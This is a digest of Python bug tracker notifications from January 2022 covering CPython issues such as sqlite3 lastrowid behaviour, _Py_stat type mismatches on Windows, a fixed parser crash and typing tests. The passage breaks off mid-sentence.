_______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 09:07:20 2022 From: report at bugs.python.org (Mark Shannon) Date: Tue, 11 Jan 2022 14:07:20 +0000 Subject: [issue46344] 3.11: except/else/if/raise traced incorrectly In-Reply-To: <1641906652.4.0.592268865444.issue46344@roundup.psfhosted.org> Message-ID: <1641910040.23.0.652155820476.issue46344@roundup.psfhosted.org> Change by Mark Shannon : ---------- nosy: +iritkatriel _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 09:33:19 2022 From: report at bugs.python.org (miss-islington) Date: Tue, 11 Jan 2022 14:33:19 +0000 Subject: [issue46253] C API documentation of Py_UNICODE_* character properties macros use Py_UNICODE instead of Py_UCS4 In-Reply-To: <1641280447.19.0.655355618391.issue46253@roundup.psfhosted.org> Message-ID: <1641911599.2.0.196072020001.issue46253@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 3.0 -> 4.0 pull_requests: +28734 pull_request: https://github.com/python/cpython/pull/30533 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 09:33:17 2022 From: report at bugs.python.org (Benjamin Peterson) Date: Tue, 11 Jan 2022 14:33:17 +0000 Subject: [issue46253] C API documentation of Py_UNICODE_* character properties macros use Py_UNICODE instead of Py_UCS4 In-Reply-To: <1641280447.19.0.655355618391.issue46253@roundup.psfhosted.org> Message-ID: <1641911597.7.0.326926960389.issue46253@roundup.psfhosted.org> Benjamin Peterson added the comment: New changeset 43c5c1369cb21f08a1dc1d63923c3586b883e3e8 by Julian Gilbey in branch 'main': closes bpo-46253: Change Py_UNICODE to Py_UCS4 in the C API docs to match the current source code (GH-30387) https://github.com/python/cpython/commit/43c5c1369cb21f08a1dc1d63923c3586b883e3e8 ---------- nosy: +benjamin.peterson resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 09:33:23 2022 From: report at bugs.python.org (miss-islington) Date: Tue, 11 Jan 2022 14:33:23 +0000 Subject: [issue46253] C API documentation of Py_UNICODE_* character properties macros use Py_UNICODE instead of Py_UCS4 In-Reply-To: <1641280447.19.0.655355618391.issue46253@roundup.psfhosted.org> Message-ID: <1641911603.53.0.382779429045.issue46253@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +28735 pull_request: https://github.com/python/cpython/pull/30534 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 09:53:29 2022 From: report at bugs.python.org (miss-islington) Date: Tue, 11 Jan 2022 14:53:29 +0000 Subject: [issue46253] C API documentation of Py_UNICODE_* character properties macros use Py_UNICODE instead of Py_UCS4 In-Reply-To: <1641280447.19.0.655355618391.issue46253@roundup.psfhosted.org> Message-ID: <1641912809.13.0.914574594591.issue46253@roundup.psfhosted.org> miss-islington added the comment: New changeset 4cfb10979d74b8513ec751b81454709f38e3b51a by Miss Islington (bot) in branch '3.10': closes bpo-46253: Change Py_UNICODE to Py_UCS4 in the C API docs to match the current source code (GH-30387) https://github.com/python/cpython/commit/4cfb10979d74b8513ec751b81454709f38e3b51a ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 09:59:37 2022 From: report at bugs.python.org (miss-islington) Date: Tue, 11 Jan 2022 14:59:37 +0000 Subject: [issue46253] C API documentation of Py_UNICODE_* character properties macros use Py_UNICODE instead of Py_UCS4 In-Reply-To: <1641280447.19.0.655355618391.issue46253@roundup.psfhosted.org> Message-ID: <1641913177.8.0.409666569654.issue46253@roundup.psfhosted.org> miss-islington added the comment: New changeset 238a36b753affd373a315b81a5024aed7ebf6479 by Miss Islington (bot) in branch '3.9': closes bpo-46253: Change Py_UNICODE to Py_UCS4 in the C API docs to match the current source code (GH-30387) https://github.com/python/cpython/commit/238a36b753affd373a315b81a5024aed7ebf6479 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 10:04:07 2022 From: report at bugs.python.org (Marc-Andre Lemburg) Date: Tue, 11 Jan 2022 15:04:07 +0000 Subject: [issue46249] [sqlite3] move set lastrowid out of the query loop and enable it for executemany() In-Reply-To: <1641675413.46.0.201951806785.issue46249@roundup.psfhosted.org> Message-ID: Marc-Andre Lemburg added the comment: On 08.01.2022 21:56, Erlend E. Aasland wrote: > > Marc-Andr?: since Python 3.6, the sqlite3.Cursor.lastrowid attribute does no longer comply with the recommendations of PEP 249: > > Previously, lastrowid was set to None for operations other than INSERT or REPLACE. This changed with ab994ed8b97e1b0dac151ec827c857f5e7277565 (in Python 3.6), so that lastrowid is _unchanged_ for operations other than INSERT or REPLACE, and it is set to 0 after the first valid SQL (that is not INSERT/REPLACE) is executed on the cursor. > > Now, PEP 249 only _recommends_ that lastrowid is set to None for operations that do not modify a row, so it's probably not a big deal. No-one has ever mentioned this change in behaviour; there have been no bug reports. > > FTR, here is the relevant quote from PEP 249: > > If the operation does not set a rowid or if the database does not support > rowids, this attribute should be set to None. > > (I interpret "should" as understood by RFC 2119.) Well, it may be a little stronger than the SHOULD in the RFC, but then again the whole DB-API is about conventions and if they don't make sense for a database backend, it is possible to deviate from the spec, esp. for optional extensions such as .lastrowid. > So, my follow-up question becomes: > I see no point in reverting to pre Python 3.6 behaviour. I would rather change the default value to be 0 (to get rid of the dirty flag in GH-30380), and to make the behaviour more consistent with how the actual SQLite API behaves. > > > Do you have an opinion about such a change (in behaviour)? Is 0 a valid row ID in SQLite ? If not, then I guess this would be an alternative to None as suggested by the DB-API. If it is a valid row ID, I'd suggest to go back to resetting to None, since otherwise code might get confused: if an UPDATE does not get applied (e.g. a condition is false), code could then still take .lastrowid as referring to the UPDATE and not a previous operation, since code will now know whether the condition was met or not. -- Marc-Andre Lemburg eGenix.com ---------- title: [sqlite3] lastrowid improvements -> [sqlite3] move set lastrowid out of the query loop and enable it for executemany() _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 10:08:26 2022 From: report at bugs.python.org (Paul Campbell) Date: Tue, 11 Jan 2022 15:08:26 +0000 Subject: [issue46303] _Py_stat and _Py_wstat using incorrect type for status argument In-Reply-To: <1641613723.86.0.029263256037.issue46303@roundup.psfhosted.org> Message-ID: <1641913706.62.0.648116792724.issue46303@roundup.psfhosted.org> Paul Campbell added the comment: I was trying to build python core (-DMS_WINDOWS -DPy_BUILD_CORE). I was using clang, which I think is unsupported looking at Windows doc. After looking at the issue though, it seemed that it was just some slight mistake which is why I filed the bug. clang version 13.0.0 Target: x86_64-pc-windows-msvc Thread model: posix I can test to see if it fixes the immediate build problem, but I still find your fix not quite addressing the issue which I initially tried to create a patch for. Someone has already developed a shim here for Windows and it just was not used properly. `_Py_stat_struct` is a define which either evaluates to `stat` on non-Windows systems or a compatibility structure on Windows. Simply replacing the use of `struct stat` with `struct _Py_stat_struct` should solve the issue. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 10:12:50 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Tue, 11 Jan 2022 15:12:50 +0000 Subject: [issue46345] Add an explicit test for `get_type_hints` for a class field with `None` default Message-ID: <1641913970.52.0.234294828111.issue46345@roundup.psfhosted.org> New submission from Nikita Sobolev : Right now this corner case is not tested: ```python class Some: x: int = None import typing assert typing.get_type_hints(Some) == {'x': int} ``` Notice that we don't add implicit `Optional` type to `x`. This is different for function arguments that will have `Optional` added. I think it is a good idea to add a test for this. Espeically given that we can change function's behavior. Context: - https://bugs.python.org/issue46195 - https://github.com/python/cpython/pull/30304 ---------- components: Library (Lib) messages: 410307 nosy: sobolevn priority: normal severity: normal status: open title: Add an explicit test for `get_type_hints` for a class field with `None` default versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 10:13:28 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Tue, 11 Jan 2022 15:13:28 +0000 Subject: [issue46345] Add an explicit test for `get_type_hints` for a class field with `None` default In-Reply-To: <1641913970.52.0.234294828111.issue46345@roundup.psfhosted.org> Message-ID: <1641914008.94.0.960254120072.issue46345@roundup.psfhosted.org> Nikita Sobolev added the comment: I will send a PR today :) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 10:18:06 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Tue, 11 Jan 2022 15:18:06 +0000 Subject: [issue46345] Add an explicit test for `get_type_hints` for a class field with `None` default In-Reply-To: <1641913970.52.0.234294828111.issue46345@roundup.psfhosted.org> Message-ID: <1641914286.65.0.763587869088.issue46345@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- keywords: +patch pull_requests: +28736 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30535 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 10:24:31 2022 From: report at bugs.python.org (Irit Katriel) Date: Tue, 11 Jan 2022 15:24:31 +0000 Subject: [issue30677] [doc] mention that os.mkdir() raises FileNotFound if path does not exist In-Reply-To: <1497535738.66.0.994856278172.issue30677@psf.upfronthosting.co.za> Message-ID: <1641914671.86.0.758548157238.issue30677@roundup.psfhosted.org> Change by Irit Katriel : ---------- keywords: +easy title: Enhance documentation of os.mkdir() -> [doc] mention that os.mkdir() raises FileNotFound if path does not exist versions: +Python 3.10, Python 3.11, Python 3.9 -Python 3.3, Python 3.4, Python 3.5, Python 3.6, Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 10:28:20 2022 From: report at bugs.python.org (Roundup Robot) Date: Tue, 11 Jan 2022 15:28:20 +0000 Subject: [issue46333] ForwardRef.__eq__ does not respect module parameter In-Reply-To: <1641828029.13.0.319383260427.issue46333@roundup.psfhosted.org> Message-ID: <1641914900.43.0.62231946115.issue46333@roundup.psfhosted.org> Change by Roundup Robot : ---------- keywords: +patch nosy: +python-dev nosy_count: 5.0 -> 6.0 pull_requests: +28737 stage: needs patch -> patch review pull_request: https://github.com/python/cpython/pull/30536 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 10:42:46 2022 From: report at bugs.python.org (Simon Wrede) Date: Tue, 11 Jan 2022 15:42:46 +0000 Subject: [issue46309] Task created by StreamReaderProtocol gets garbage collected. In-Reply-To: <1641684955.44.0.77228446083.issue46309@roundup.psfhosted.org> Message-ID: <1641915766.7.0.892709139938.issue46309@roundup.psfhosted.org> Change by Simon Wrede : ---------- versions: +Python 3.11, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 10:53:50 2022 From: report at bugs.python.org (STINNER Victor) Date: Tue, 11 Jan 2022 15:53:50 +0000 Subject: [issue46303] _Py_stat and _Py_wstat using incorrect type for status argument In-Reply-To: <1641613723.86.0.029263256037.issue46303@roundup.psfhosted.org> Message-ID: <1641916430.11.0.905453764158.issue46303@roundup.psfhosted.org> STINNER Victor added the comment: Python.h indirectly (via fileutils.h) defines _Py_wstat() and _Py_stat() functions which use the "struct stat*" type for 12 years: commit 4e31443c4d2c1fb211a6ea90fc6a8fbd9ff81c97 Author: Victor Stinner Date: Thu Oct 7 21:45:39 2010 +0000 Create fileutils.c/.h * _Py_fopen() and _Py_stat() come from Python/import.c * (_Py)_wrealpath() comes from Python/sysmodule.c * _Py_char2wchar(), _Py_wchar2char() and _Py_wfopen() come from Modules/main.c * (_Py)_wstat(), (_Py)_wgetcwd(), _Py_wreadlink() come from Modules/getpath.c ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 10:54:26 2022 From: report at bugs.python.org (Alex Waygood) Date: Tue, 11 Jan 2022 15:54:26 +0000 Subject: [issue46309] Task created by StreamReaderProtocol gets garbage collected. In-Reply-To: <1641684955.44.0.77228446083.issue46309@roundup.psfhosted.org> Message-ID: <1641916466.44.0.850311547449.issue46309@roundup.psfhosted.org> Alex Waygood added the comment: I'm removing 3.7 and 3.8 from the "versions" field, since those branches are old enough that they're now only accepting security-related patches. ---------- nosy: +AlexWaygood versions: -Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 10:54:38 2022 From: report at bugs.python.org (Alex Waygood) Date: Tue, 11 Jan 2022 15:54:38 +0000 Subject: [issue46309] Task created by StreamReaderProtocol gets garbage collected. In-Reply-To: <1641684955.44.0.77228446083.issue46309@roundup.psfhosted.org> Message-ID: <1641916478.38.0.178445661029.issue46309@roundup.psfhosted.org> Change by Alex Waygood : ---------- nosy: -AlexWaygood _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 11:20:46 2022 From: report at bugs.python.org (Christian Heimes) Date: Tue, 11 Jan 2022 16:20:46 +0000 Subject: [issue40280] Consider supporting emscripten/webassembly as a build target In-Reply-To: <1586848295.92.0.690921486188.issue40280@roundup.psfhosted.org> Message-ID: <1641918046.49.0.409306828823.issue40280@roundup.psfhosted.org> Change by Christian Heimes : ---------- pull_requests: +28738 pull_request: https://github.com/python/cpython/pull/30538 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 11:21:41 2022 From: report at bugs.python.org (STINNER Victor) Date: Tue, 11 Jan 2022 16:21:41 +0000 Subject: [issue46303] _Py_stat and _Py_wstat using incorrect type for status argument In-Reply-To: <1641613723.86.0.029263256037.issue46303@roundup.psfhosted.org> Message-ID: <1641918101.51.0.0144263143305.issue46303@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +28739 pull_request: https://github.com/python/cpython/pull/30539 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 11:22:36 2022 From: report at bugs.python.org (STINNER Victor) Date: Tue, 11 Jan 2022 16:22:36 +0000 Subject: [issue46303] _Py_stat and _Py_wstat using incorrect type for status argument In-Reply-To: <1641613723.86.0.029263256037.issue46303@roundup.psfhosted.org> Message-ID: <1641918156.2.0.136073512824.issue46303@roundup.psfhosted.org> STINNER Victor added the comment: It seems like _Py_stat() and _Py_wstat() are only needed on non-Windows platforms: only the _get_tcl_lib_path() function of Modules/_tkinter.c uses _Py_stat(). I wrote PR 30539 to not define _Py_stat() and _Py_wstat() on Windows. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 11:27:42 2022 From: report at bugs.python.org (Eric Snow) Date: Tue, 11 Jan 2022 16:27:42 +0000 Subject: [issue46343] Add PyErr_GetActiveException and PyErr_SetActiveException In-Reply-To: <1641905020.84.0.19361344207.issue46343@roundup.psfhosted.org> Message-ID: <1641918462.27.0.51348237036.issue46343@roundup.psfhosted.org> Eric Snow added the comment: Why not `PyAPI_FUNC(PyObject *) PyErr_GetActiveException(void);`? ---------- nosy: +eric.snow _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 11:30:43 2022 From: report at bugs.python.org (miss-islington) Date: Tue, 11 Jan 2022 16:30:43 +0000 Subject: [issue46339] PEG parser segfault from ast.literal_eval In-Reply-To: <1641869771.82.0.588591691802.issue46339@roundup.psfhosted.org> Message-ID: <1641918643.81.0.955009322918.issue46339@roundup.psfhosted.org> miss-islington added the comment: New changeset cedec19be81e6bd153678bfb28c8e217af8bda58 by Pablo Galindo Salgado in branch 'main': bpo-46339: Fix crash in the parser when computing error text for multi-line f-strings (GH-30529) https://github.com/python/cpython/commit/cedec19be81e6bd153678bfb28c8e217af8bda58 ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 11:33:12 2022 From: report at bugs.python.org (miss-islington) Date: Tue, 11 Jan 2022 16:33:12 +0000 Subject: [issue46237] Incorrect line reported in syntax error In-Reply-To: <1641195913.64.0.431874358772.issue46237@roundup.psfhosted.org> Message-ID: <1641918792.46.0.859368840221.issue46237@roundup.psfhosted.org> miss-islington added the comment: New changeset 19a85501cee24a6e426a431243d0adcb5664c6fe by Miss Islington (bot) in branch '3.10': bpo-46237: Fix the line number of tokenizer errors inside f-strings (GH-30463) https://github.com/python/cpython/commit/19a85501cee24a6e426a431243d0adcb5664c6fe ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 11:33:23 2022 From: report at bugs.python.org (miss-islington) Date: Tue, 11 Jan 2022 16:33:23 +0000 Subject: [issue46339] PEG parser segfault from ast.literal_eval In-Reply-To: <1641869771.82.0.588591691802.issue46339@roundup.psfhosted.org> Message-ID: <1641918803.38.0.350659329132.issue46339@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +28740 pull_request: https://github.com/python/cpython/pull/30542 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 11:37:36 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 11 Jan 2022 16:37:36 +0000 Subject: [issue46237] Incorrect line reported in syntax error In-Reply-To: <1641195913.64.0.431874358772.issue46237@roundup.psfhosted.org> Message-ID: <1641919056.63.0.0996815683582.issue46237@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- pull_requests: +28741 pull_request: https://github.com/python/cpython/pull/30543 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 11:37:34 2022 From: report at bugs.python.org (Eric Snow) Date: Tue, 11 Jan 2022 16:37:34 +0000 Subject: [issue45953] Statically allocate interpreter states as much as possible. In-Reply-To: <1638384639.14.0.97360024283.issue45953@roundup.psfhosted.org> Message-ID: <1641919054.54.0.720654142968.issue45953@roundup.psfhosted.org> Eric Snow added the comment: New changeset cf496d657a1a82eaf9ebfb47d721676fef6effa5 by Eric Snow in branch 'main': bpo-45953: Statically allocate and initialize global bytes objects. (gh-30096) https://github.com/python/cpython/commit/cf496d657a1a82eaf9ebfb47d721676fef6effa5 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 11:39:56 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 11 Jan 2022 16:39:56 +0000 Subject: [issue46237] Incorrect line reported in syntax error In-Reply-To: <1641195913.64.0.431874358772.issue46237@roundup.psfhosted.org> Message-ID: <1641919196.49.0.661077352579.issue46237@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 11:44:26 2022 From: report at bugs.python.org (Steve Dower) Date: Tue, 11 Jan 2022 16:44:26 +0000 Subject: [issue33125] Windows 10 ARM64 platform support In-Reply-To: <1521767011.97.0.467229070634.issue33125@psf.upfronthosting.co.za> Message-ID: <1641919466.11.0.891334044709.issue33125@roundup.psfhosted.org> Steve Dower added the comment: Hi Tommy! Glad to have you join the discussion (I'm a huge fan of OBS Studio, and if the license wasn't incompatible with my employer, I'd be actively contributing :) ) Our challenge with the installer is the portability of Wix Toolset. I'm pretty sure our current version doesn't support ARM64, and they haven't released a newer version that does yet. It's possible that emulation will handle the main part of our installer, but AFAIK nobody has tested it to see whether it confuses the underlying installer service. (I can probably do that at some point, as I have access to some test machines now.) At the same time, any reason why OBS doesn't just include a copy of Python with it? It should be quite easy to include the embeddable runtime on Windows, which would then mean that you're able to ship the exact version necessary and have the paths preconfigured. (It *might* complicate installing 3rd party packages a bit, but you can always allow search paths to be set/PYTHONPATH to be respected, or the executable path overridden.) Possibly this is something you guys have already looked into, so if you know there's an issue I'd love to hear about it. Making it easy/easier to bundle Python with apps like OBS is one of my major focuses. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 12:02:27 2022 From: report at bugs.python.org (Irit Katriel) Date: Tue, 11 Jan 2022 17:02:27 +0000 Subject: [issue46344] 3.11: except/else/if/raise traced incorrectly In-Reply-To: <1641906652.4.0.592268865444.issue46344@roundup.psfhosted.org> Message-ID: <1641920547.41.0.429059867246.issue46344@roundup.psfhosted.org> Irit Katriel added the comment: Thanks, I have a fix and will make a PR once I've written the test. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 12:04:03 2022 From: report at bugs.python.org (Irit Katriel) Date: Tue, 11 Jan 2022 17:04:03 +0000 Subject: [issue46343] Add PyErr_GetActiveException and PyErr_SetActiveException In-Reply-To: <1641905020.84.0.19361344207.issue46343@roundup.psfhosted.org> Message-ID: <1641920643.01.0.306204040974.issue46343@roundup.psfhosted.org> Irit Katriel added the comment: Yes, you?re right of course ;) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 12:11:22 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 11 Jan 2022 17:11:22 +0000 Subject: [issue46237] Incorrect line reported in syntax error In-Reply-To: <1641195913.64.0.431874358772.issue46237@roundup.psfhosted.org> Message-ID: <1641921082.99.0.436672249436.issue46237@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: Backporting this to 3.9 is a bit more challenging and more changes are required, so I am not backporting for 3.9 to avoid unintended side effects. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 12:50:25 2022 From: report at bugs.python.org (Irit Katriel) Date: Tue, 11 Jan 2022 17:50:25 +0000 Subject: [issue46344] 3.11: except/else/if/raise traced incorrectly In-Reply-To: <1641906652.4.0.592268865444.issue46344@roundup.psfhosted.org> Message-ID: <1641923425.58.0.392547873919.issue46344@roundup.psfhosted.org> Change by Irit Katriel : ---------- keywords: +patch pull_requests: +28742 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30544 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 13:31:57 2022 From: report at bugs.python.org (Guido van Rossum) Date: Tue, 11 Jan 2022 18:31:57 +0000 Subject: [issue46346] New compilation warnings on Windows Message-ID: <1641925917.43.0.280254696624.issue46346@roundup.psfhosted.org> New submission from Guido van Rossum : I am getting these warnings: C:\Users\gvanrossum\cpython\PC\_testconsole.c(70,38): warning C4013: '_Py_get_osfhandle' undefined; assuming extern returnin g int [C:\Users\gvanrossum\cpython\PCbuild\_testconsole.vcxproj] C:\Users\gvanrossum\cpython\PC\_testconsole.c(70,1): warning C4047: 'initializing': 'HANDLE' differs in levels of indirectio n from 'int' [C:\Users\gvanrossum\cpython\PCbuild\_testconsole.vcxproj] C:\Users\gvanrossum\cpython\Modules\_tkinter.c(144,37): warning C4013: '_Py_stat' undefined; assuming extern returning int [ C:\Users\gvanrossum\cpython\PCbuild\_tkinter.vcxproj] I noticed that GitHub also was flagging these in unrelated PRs. ---------- components: Build, Windows messages: 410320 nosy: gvanrossum, paul.moore, steve.dower, tim.golden, zach.ware priority: normal severity: normal status: open title: New compilation warnings on Windows versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 13:32:58 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 11 Jan 2022 18:32:58 +0000 Subject: [issue46339] PEG parser segfault from ast.literal_eval In-Reply-To: <1641869771.82.0.588591691802.issue46339@roundup.psfhosted.org> Message-ID: <1641925978.61.0.0747505328996.issue46339@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- pull_requests: +28743 pull_request: https://github.com/python/cpython/pull/30545 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 13:51:56 2022 From: report at bugs.python.org (Clint Olsen) Date: Tue, 11 Jan 2022 18:51:56 +0000 Subject: [issue46335] asyncio.create_subprocess_exec throws RuntimeError yet still executes subprogram In-Reply-To: <1641840953.56.0.83398324511.issue46335@roundup.psfhosted.org> Message-ID: <1641927116.0.0.421752256102.issue46335@roundup.psfhosted.org> Clint Olsen added the comment: In a multi-user environment, you should not expect to be able to spawn infinite processes. In some cases system administrators have reduced the thresholds to values that guarantee a machine is still responsive under heavy load. See limits.conf(5) as an example. I just used ulimit to synthesize this situation. Does this make sense? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 14:15:51 2022 From: report at bugs.python.org (miss-islington) Date: Tue, 11 Jan 2022 19:15:51 +0000 Subject: [issue46307] string.Template should allow inspection of identifiers In-Reply-To: <1641672749.81.0.761758582979.issue46307@roundup.psfhosted.org> Message-ID: <1641928551.04.0.159414026324.issue46307@roundup.psfhosted.org> miss-islington added the comment: New changeset dce642f24418c58e67fa31a686575c980c31dd37 by Ben Kehoe in branch 'main': bpo-46307: Add string.Template.get_identifiers() method (GH-30493) https://github.com/python/cpython/commit/dce642f24418c58e67fa31a686575c980c31dd37 ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 14:46:51 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 11 Jan 2022 19:46:51 +0000 Subject: [issue46249] [sqlite3] move set lastrowid out of the query loop and enable it for executemany() In-Reply-To: <1641244467.23.0.820858977306.issue46249@roundup.psfhosted.org> Message-ID: <1641930411.33.0.0790364412318.issue46249@roundup.psfhosted.org> Erlend E. Aasland added the comment: > Is 0 a valid row ID in SQLite ? If not, then I guess this would be > an alternative to None as suggested by the DB-API. Yes. Any 64 bit signed integer value is a valid row id in SQLite. > If it is a valid row ID, I'd suggest to go back to resetting to None, > since otherwise code might get confused: if an UPDATE does not get > applied (e.g. a condition is false), code could then still take > .lastrowid as referring to the UPDATE and not a previous > operation, since code will now know whether the condition was met > or not. True. OTOH, we've had no requests for reverting to pre Python 3.6 behaviour. If we are to revert to this behaviour, we'll have to start examining the SQL we are given (search for INSERT and REPLACE keywords, determine if they are valid (i.e. not a comment, not part of a column or table name, etc.), which will lead to a noticeable performance hit for every new statement (not for statements reused via the LRU cache though). I'm not sure this is a good idea. However I will give it a good thought. My first thought now, is that it would be better for the sqlite3 module to align lastrowid with the behaviour of the C API sqlite3_last_insert_rowid() (also available as an SQL function: last_insert_rowid). OTOH, the SQLite API is tied to the _connection_ object, so it may not make sense to align it with lastrowid which is a _cursor_ attribute. Perhaps the Right Thing To Do? is to be conservative and just leave it as it is. I still want to apply the optimisation, though. It does not alter the behaviour in any kind of way, and it speeds up executemany(). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 14:51:42 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 11 Jan 2022 19:51:42 +0000 Subject: [issue46249] [sqlite3] move set lastrowid out of the query loop and enable it for executemany() In-Reply-To: <1641244467.23.0.820858977306.issue46249@roundup.psfhosted.org> Message-ID: <1641930702.88.0.470253342759.issue46249@roundup.psfhosted.org> Erlend E. Aasland added the comment: > OTOH, the SQLite API is tied to the _connection_ object, so it may not make sense to align it with lastrowid which is a _cursor_ attribute. That came out weird; let's try again: The SQLite API is tied to the _connection_ object, so it may not make sense to force that behaviour onto lastrowid which is a _cursor_ attribute. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 15:05:53 2022 From: report at bugs.python.org (Steve Dower) Date: Tue, 11 Jan 2022 20:05:53 +0000 Subject: [issue46346] New compilation warnings on Windows In-Reply-To: <1641925917.43.0.280254696624.issue46346@roundup.psfhosted.org> Message-ID: <1641931553.15.0.734033787907.issue46346@roundup.psfhosted.org> Steve Dower added the comment: Possibly related to Victor's change in issue46303? ---------- nosy: +vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 15:12:08 2022 From: report at bugs.python.org (miss-islington) Date: Tue, 11 Jan 2022 20:12:08 +0000 Subject: [issue45729] [doc] "history and license" link has wrong target In-Reply-To: <1636128373.81.0.436284013167.issue45729@roundup.psfhosted.org> Message-ID: <1641931928.79.0.0435163549271.issue45729@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 4.0 -> 5.0 pull_requests: +28744 pull_request: https://github.com/python/cpython/pull/30540 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 15:12:25 2022 From: report at bugs.python.org (miss-islington) Date: Tue, 11 Jan 2022 20:12:25 +0000 Subject: [issue45729] [doc] "history and license" link has wrong target In-Reply-To: <1636128373.81.0.436284013167.issue45729@roundup.psfhosted.org> Message-ID: <1641931945.2.0.0523835055629.issue45729@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +28745 pull_request: https://github.com/python/cpython/pull/30541 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 15:17:21 2022 From: report at bugs.python.org (Marc-Andre Lemburg) Date: Tue, 11 Jan 2022 20:17:21 +0000 Subject: [issue46249] [sqlite3] move set lastrowid out of the query loop and enable it for executemany() In-Reply-To: <1641930411.33.0.0790364412318.issue46249@roundup.psfhosted.org> Message-ID: <0d4fc16d-4c70-b1dc-a2fd-87f293cafe1b@egenix.com> Marc-Andre Lemburg added the comment: On 11.01.2022 20:46, Erlend E. Aasland wrote: > > If we are to revert to this behaviour, we'll have to start examining the SQL we are given (search for INSERT and REPLACE keywords, determine if they are valid (i.e. not a comment, not part of a column or table name, etc.), which will lead to a noticeable performance hit for every new statement (not for statements reused via the LRU cache though). I'm not sure this is a good idea. However I will give it a good thought. > > My first thought now, is that it would be better for the sqlite3 module to align lastrowid with the behaviour of the C API sqlite3_last_insert_rowid() (also available as an SQL function: last_insert_rowid). OTOH, the SQLite API is tied to the _connection_ object, so it may not make sense to align it with lastrowid which is a _cursor_ attribute. I've had a look at the API description and find it less than useful, to be honest: https://sqlite.org/c3ref/last_insert_rowid.html You don't know on which cursor the last row was inserted, it's possible that this was or is done by a trigger and the last row is not updated in case the INSERT does not succeed for some reason, leaving it unchanged - without the user getting a notification of this failure, since the .execute() call itself will succeed for e.g. "INSERT INTO table SELECT ...;". It also seems that the function really only works for INSERTs and not for UPDATEs. > Perhaps the Right Thing To Do? is to be conservative and just leave it as it is. I still want to apply the optimisation, though. It does not alter the behaviour in any kind of way, and it speeds up executemany(). I'd suggest to deprecate the cursor.lastrowid attribute and instead point people to the much more useful "INSERT INTO t (name) 